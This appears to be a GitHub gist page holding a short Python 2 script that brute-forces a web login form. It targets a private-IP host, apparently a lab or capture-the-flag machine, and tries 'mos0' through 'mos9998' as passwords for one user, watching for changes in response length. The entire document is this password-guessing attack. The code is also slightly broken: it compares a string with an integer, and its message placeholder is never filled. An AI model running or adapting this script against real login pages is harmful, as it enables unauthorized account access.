Skip to content

Instantly share code, notes, and snippets.

@ByteReaper
Last active June 6, 2016 19:22
Show Gist options
  • Save ByteReaper/40fc715f20b3c090316f8d693084019c to your computer and use it in GitHub Desktop.
Save ByteReaper/40fc715f20b3c090316f8d693084019c to your computer and use it in GitHub Desktop.
import requests
lastLen = '0'
url = 'http://192.168.234.167/commodore64/index.php'
user = 'robhubbard'
for i in xrange(0,9999):
passwd = 'mos{}'.format(i)
resp = requests.post(url,files={'input_username': (None, user),'input_password':(None, passwd),'path': (None,'')})
if lastLen != len(resp.text):
print len(resp.text)
print "Using {} resulted in a different page size"
lastLen = len(resp.text)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment